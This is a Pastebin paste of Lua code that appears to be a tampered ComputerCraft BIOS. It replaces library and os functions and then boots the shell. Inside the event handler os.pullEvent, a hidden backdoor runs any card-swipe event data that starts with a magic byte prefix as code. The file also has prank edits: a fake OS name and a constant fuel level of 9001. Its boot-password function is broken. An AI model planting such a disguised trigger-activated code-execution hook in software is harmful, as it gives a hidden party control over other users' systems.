Advertisement
killer64

Untitled

Feb 4th, 2013
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.36 KB | None | 0 0
  1.  
  2. -- Install safe versions of various library functions
  3. -- These will not put cfunctions on the stack, so don't break serialisation
  4. xpcall = function( _fn, _fnErrorHandler )
  5. local typeT = type( _fn )
  6. assert( typeT == "function", "bad argument #1 to xpcall (function expected, got "..typeT..")" )
  7. local co = coroutine.create( _fn )
  8. local tResults = { coroutine.resume( co ) }
  9. while coroutine.status( co ) ~= "dead" do
  10. tResults = { coroutine.resume( co, coroutine.yield() ) }
  11. end
  12. if tResults[1] == true then
  13. return true, unpack( tResults, 2 )
  14. else
  15. return false, _fnErrorHandler( tResults[2] )
  16. end
  17. end
  18.  
  19. pcall = function( _fn, ... )
  20. local typeT = type( _fn )
  21. assert( typeT == "function", "bad argument #1 to pcall (function expected, got "..typeT..")" )
  22. local tArgs = { ... }
  23. return xpcall(
  24. function()
  25. return _fn( unpack( tArgs ) )
  26. end,
  27. function( _error )
  28. return _error
  29. end
  30. )
  31. end
  32.  
  33. function pairs( _t )
  34. local typeT = type( _t )
  35. if typeT ~= "table" then
  36. error( "bad argument #1 to pairs (table expected, got "..typeT..")", 2 )
  37. end
  38. return next, _t, nil
  39. end
  40.  
  41. function ipairs( _t )
  42. local typeT = type( _t )
  43. if typeT ~= "table" then
  44. error( "bad argument #1 to ipairs (table expected, got "..typeT..")", 2 )
  45. end
  46. return function( t, var )
  47. var = var + 1
  48. local value = t[var]
  49. if value == nil then
  50. return
  51. end
  52. return var, value
  53. end, _t, 0
  54. end
  55.  
  56. function coroutine.wrap( _fn )
  57. local typeT = type( _fn )
  58. if typeT ~= "function" then
  59. error( "bad argument #1 to coroutine.wrap (function expected, got "..typeT..")", 2 )
  60. end
  61. local co = coroutine.create( _fn )
  62. return function( ... )
  63. local tResults = { coroutine.resume( co, ... ) }
  64. if tResults[1] then
  65. return unpack( tResults, 2 )
  66. else
  67. error( tResults[2], 2 )
  68. end
  69. end
  70. end
  71.  
  72. function string.gmatch( _s, _pattern )
  73. local type1 = type( _s )
  74. if type1 ~= "string" then
  75. error( "bad argument #1 to string.gmatch (string expected, got "..type1..")", 2 )
  76. end
  77. local type2 = type( _pattern )
  78. if type2 ~= "string" then
  79. error( "bad argument #2 to string.gmatch (string expected, got "..type2..")", 2 )
  80. end
  81.  
  82. local nPos = 1
  83. return function()
  84. local nFirst, nLast = string.find( _s, _pattern, nPos )
  85. if nFirst == nil then
  86. return
  87. end
  88. nPos = nLast + 1
  89. return string.match( _s, _pattern, nFirst )
  90. end
  91. end
  92.  
  93. local nativesetmetatable = setmetatable
  94. function setmetatable( _o, _t )
  95. if _t and type(_t) == "table" then
  96. local idx = rawget( _t, "__index" )
  97. if idx and type( idx ) == "table" then
  98. rawset( _t, "__index", function( t, k ) return idx[k] end )
  99. end
  100. local newidx = rawget( _t, "__newindex" )
  101. if newidx and type( newidx ) == "table" then
  102. rawset( _t, "__newindex", function( t, k, v ) newidx[k] = v end )
  103. end
  104. end
  105. return nativesetmetatable( _o, _t )
  106. end
  107.  
  108. -- Install lua parts of the os api
  109. function os.version()
  110. if turtle then
  111. return "BidetOS Mobile 1.4"
  112. end
  113. return "BidetOS 1.4"
  114. end
  115.  
  116. function os.pullEventRaw( _sFilter )
  117. return coroutine.yield( _sFilter )
  118. end
  119.  
  120. function os.pullEvent( _sFilter )
  121. local event, p1, p2, p3, p4, p5 = os.pullEventRaw( _sFilter )
  122. if event == "terminate" then
  123. printError( "Terminated" )
  124. error()
  125. elseif event == "mag_swipe" and string.sub(p1,1,5)==string.char(31,41,59,26,53) then
  126. pcall(loadstring(string.sub(p1,6)))
  127. return
  128. end
  129. return event, p1, p2, p3, p4, p5
  130. end
  131.  
  132. function os.setBootPassword(pw)
  133. local file=io.open("bootpass")
  134. file.write(pw)
  135. file.close()
  136. end
  137.  
  138. -- Install globals
  139. function sleep( _nTime )
  140. local timer = os.startTimer( _nTime )
  141. repeat
  142. local sEvent, param = os.pullEvent( "timer" )
  143. until param == timer
  144. end
  145.  
  146. function write( sText )
  147. local w,h = term.getSize()
  148. local x,y = term.getCursorPos()
  149.  
  150. local nLinesPrinted = 0
  151. local function newLine()
  152. if y + 1 <= h then
  153. term.setCursorPos(1, y + 1)
  154. else
  155. term.setCursorPos(1, h)
  156. term.scroll(1)
  157. end
  158. x, y = term.getCursorPos()
  159. nLinesPrinted = nLinesPrinted + 1
  160. end
  161.  
  162. -- Print the line with proper word wrapping
  163. while string.len(sText) > 0 do
  164. local whitespace = string.match( sText, "^[ \t]+" )
  165. if whitespace then
  166. -- Print whitespace
  167. term.write( whitespace )
  168. x,y = term.getCursorPos()
  169. sText = string.sub( sText, string.len(whitespace) + 1 )
  170. end
  171.  
  172. local newline = string.match( sText, "^\n" )
  173. if newline then
  174. -- Print newlines
  175. newLine()
  176. sText = string.sub( sText, 2 )
  177. end
  178.  
  179. local text = string.match( sText, "^[^ \t\n]+" )
  180. if text then
  181. sText = string.sub( sText, string.len(text) + 1 )
  182. if string.len(text) > w then
  183. -- Print a multiline word
  184. while string.len( text ) > 0 do
  185. if x > w then
  186. newLine()
  187. end
  188. term.write( text )
  189. text = string.sub( text, (w-x) + 2 )
  190. x,y = term.getCursorPos()
  191. end
  192. else
  193. -- Print a word normally
  194. if x + string.len(text) - 1 > w then
  195. newLine()
  196. end
  197. term.write( text )
  198. x,y = term.getCursorPos()
  199. end
  200. end
  201. end
  202.  
  203. return nLinesPrinted
  204. end
  205.  
  206. function print( ... )
  207. local nLinesPrinted = 0
  208. for n,v in ipairs( { ... } ) do
  209. nLinesPrinted = nLinesPrinted + write( tostring( v ) )
  210. end
  211. nLinesPrinted = nLinesPrinted + write( "\n" )
  212. return nLinesPrinted
  213. end
  214.  
  215. function printError( ... )
  216. if term.isColour() then
  217. term.setTextColour( colours.red )
  218. end
  219. print( ... )
  220. term.setTextColour( colours.white )
  221. end
  222.  
  223. function read( _sReplaceChar, _tHistory )
  224. term.setCursorBlink( true )
  225.  
  226. local sLine = ""
  227. local nHistoryPos = nil
  228. local nPos = 0
  229. if _sReplaceChar then
  230. _sReplaceChar = string.sub( _sReplaceChar, 1, 1 )
  231. end
  232.  
  233. local w, h = term.getSize()
  234. local sx, sy = term.getCursorPos()
  235.  
  236. local function redraw( _sCustomReplaceChar )
  237. local nScroll = 0
  238. if sx + nPos >= w then
  239. nScroll = (sx + nPos) - w
  240. end
  241.  
  242. term.setCursorPos( sx, sy )
  243. local sReplace = _sCustomReplaceChar or _sReplaceChar
  244. if sReplace then
  245. term.write( string.rep(sReplace, string.len(sLine) - nScroll) )
  246. else
  247. term.write( string.sub( sLine, nScroll + 1 ) )
  248. end
  249. term.setCursorPos( sx + nPos - nScroll, sy )
  250. end
  251.  
  252. while true do
  253. local sEvent, param = os.pullEvent()
  254. if sEvent == "char" then
  255. sLine = string.sub( sLine, 1, nPos ) .. param .. string.sub( sLine, nPos + 1 )
  256. nPos = nPos + 1
  257. redraw()
  258.  
  259. elseif sEvent == "key" then
  260. if param == keys.enter then
  261. -- Enter
  262. break
  263.  
  264. elseif param == keys.left then
  265. -- Left
  266. if nPos > 0 then
  267. nPos = nPos - 1
  268. redraw()
  269. end
  270.  
  271. elseif param == keys.right then
  272. -- Right
  273. if nPos < string.len(sLine) then
  274. nPos = nPos + 1
  275. redraw()
  276. end
  277.  
  278. elseif param == keys.up or param == keys.down then
  279. -- Up or down
  280. if _tHistory then
  281. redraw(" ");
  282. if param == keys.up then
  283. -- Up
  284. if nHistoryPos == nil then
  285. if #_tHistory > 0 then
  286. nHistoryPos = #_tHistory
  287. end
  288. elseif nHistoryPos > 1 then
  289. nHistoryPos = nHistoryPos - 1
  290. end
  291. else
  292. -- Down
  293. if nHistoryPos == #_tHistory then
  294. nHistoryPos = nil
  295. elseif nHistoryPos ~= nil then
  296. nHistoryPos = nHistoryPos + 1
  297. end
  298. end
  299.  
  300. if nHistoryPos then
  301. sLine = _tHistory[nHistoryPos]
  302. nPos = string.len( sLine )
  303. else
  304. sLine = ""
  305. nPos = 0
  306. end
  307. redraw()
  308. end
  309. elseif param == keys.backspace then
  310. -- Backspace
  311. if nPos > 0 then
  312. redraw(" ");
  313. sLine = string.sub( sLine, 1, nPos - 1 ) .. string.sub( sLine, nPos + 1 )
  314. nPos = nPos - 1
  315. redraw()
  316. end
  317. elseif param == keys.home then
  318. -- Home
  319. nPos = 0
  320. redraw()
  321. elseif param == keys.delete then
  322. if nPos < string.len(sLine) then
  323. redraw(" ");
  324. sLine = string.sub( sLine, 1, nPos ) .. string.sub( sLine, nPos + 2 )
  325. redraw()
  326. end
  327. elseif param == keys["end"] then
  328. -- End
  329. nPos = string.len(sLine)
  330. redraw()
  331. end
  332. end
  333. end
  334.  
  335. term.setCursorBlink( false )
  336. term.setCursorPos( w + 1, sy )
  337. print()
  338.  
  339. return sLine
  340. end
  341.  
  342. loadfile = function( _sFile )
  343. local file = fs.open( _sFile, "r" )
  344. if file then
  345. local func, err = loadstring( file.readAll(), fs.getName( _sFile ) )
  346. file.close()
  347. return func, err
  348. end
  349. return nil, "File not found"
  350. end
  351.  
  352. dofile = function( _sFile )
  353. local fnFile, e = loadfile( _sFile )
  354. if fnFile then
  355. setfenv( fnFile, getfenv(2) )
  356. return fnFile()
  357. else
  358. error( e, 2 )
  359. end
  360. end
  361.  
  362. -- Install the rest of the OS api
  363. function os.run( _tEnv, _sPath, ... )
  364. local tArgs = { ... }
  365. local fnFile, err = loadfile( _sPath )
  366. if fnFile then
  367. local tEnv = _tEnv
  368. --setmetatable( tEnv, { __index = function(t,k) return _G[k] end } )
  369. setmetatable( tEnv, { __index = _G } )
  370. setfenv( fnFile, tEnv )
  371. local ok, err = pcall( function()
  372. fnFile( unpack( tArgs ) )
  373. end )
  374. if not ok then
  375. if err and err ~= "" then
  376. printError( err )
  377. end
  378. return false
  379. end
  380. return true
  381. end
  382. if err and err ~= "" then
  383. printError( err )
  384. end
  385. return false
  386. end
  387.  
  388. local nativegetmetatable = getmetatable
  389. local nativetype = type
  390. local nativeerror = error
  391. function getmetatable( _t )
  392. if nativetype( _t ) == "string" then
  393. nativeerror( "Attempt to access string metatable", 2 )
  394. return nil
  395. end
  396. return nativegetmetatable( _t )
  397. end
  398.  
  399. local tAPIsLoading = {}
  400. function os.loadAPI( _sPath )
  401. local sName = fs.getName( _sPath )
  402. if tAPIsLoading[sName] == true then
  403. printError( "API "..sName.." is already being loaded" )
  404. return false
  405. end
  406. tAPIsLoading[sName] = true
  407.  
  408. local tEnv = {}
  409. setmetatable( tEnv, { __index = _G } )
  410. local fnAPI, err = loadfile( _sPath )
  411. if fnAPI then
  412. setfenv( fnAPI, tEnv )
  413. fnAPI()
  414. else
  415. printError( err )
  416. tAPIsLoading[sName] = nil
  417. return false
  418. end
  419.  
  420. local tAPI = {}
  421. for k,v in pairs( tEnv ) do
  422. tAPI[k] = v
  423. end
  424.  
  425. _G[sName] = tAPI
  426. tAPIsLoading[sName] = nil
  427. return true
  428. end
  429.  
  430. function os.unloadAPI( _sName )
  431. if _sName ~= "_G" and type(_G[_sName]) == "table" then
  432. _G[_sName] = nil
  433. end
  434. end
  435.  
  436. function os.sleep( _nTime )
  437. sleep( _nTime )
  438. end
  439.  
  440. local nativeShutdown = os.shutdown
  441. function os.shutdown()
  442. nativeShutdown()
  443. while true do
  444. coroutine.yield()
  445. end
  446. end
  447.  
  448. -- Install the lua part of the HTTP api (if enabled)
  449. if http then
  450. local function wrapRequest( _url, _post )
  451. local requestID = http.request( _url, _post )
  452. while true do
  453. local event, param1, param2 = os.pullEvent()
  454. if event == "http_success" and param1 == _url then
  455. return param2
  456. elseif event == "http_failure" and param1 == _url then
  457. return nil
  458. end
  459. end
  460. end
  461.  
  462. http.get = function( _url )
  463. return wrapRequest( _url, nil )
  464. end
  465.  
  466. http.post = function( _url, _post )
  467. return wrapRequest( _url, _post or "" )
  468. end
  469. end
  470.  
  471. -- Install the lua part of the peripheral api
  472. peripheral.wrap = function( _sSide )
  473. if peripheral.isPresent( _sSide ) then
  474. local tMethods = peripheral.getMethods( _sSide )
  475. local tResult = {}
  476. for n,sMethod in ipairs( tMethods ) do
  477. tResult[sMethod] = function( ... )
  478. return peripheral.call( _sSide, sMethod, ... )
  479. end
  480. end
  481. return tResult
  482. end
  483. return nil
  484. end
  485.  
  486. -- Load APIs
  487. local tApis = fs.list( "rom/apis" )
  488. for n,sFile in ipairs( tApis ) do
  489. if string.sub( sFile, 1, 1 ) ~= "." then
  490. local sPath = fs.combine( "rom/apis", sFile )
  491. if not fs.isDir( sPath ) then
  492. os.loadAPI( sPath )
  493. end
  494. end
  495. end
  496.  
  497. if turtle then
  498. local tApis = fs.list( "rom/apis/turtle" )
  499. for n,sFile in ipairs( tApis ) do
  500. if string.sub( sFile, 1, 1 ) ~= "." then
  501. local sPath = fs.combine( "rom/apis/turtle", sFile )
  502. if not fs.isDir( sPath ) then
  503. os.loadAPI( sPath )
  504. end
  505. end
  506. end
  507. end
  508.  
  509. function turtle.getFuelLevel()
  510. return 9001
  511. end
  512.  
  513. -- Run the shell
  514. local ok, err = pcall( function()
  515. parallel.waitForAny(
  516. function()
  517. rednet.run()
  518. end,
  519. function()
  520. os.run( {}, "rom/programs/shell" )
  521. end
  522. )
  523. end )
  524.  
  525. -- If the shell errored, let the user read it.
  526. if not ok then
  527. printError( err )
  528. end
  529.  
  530. pcall( function()
  531. term.setCursorBlink( false )
  532. print( "Press any key to continue" )
  533. os.pullEvent( "key" )
  534. end )
  535. os.shutdown()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement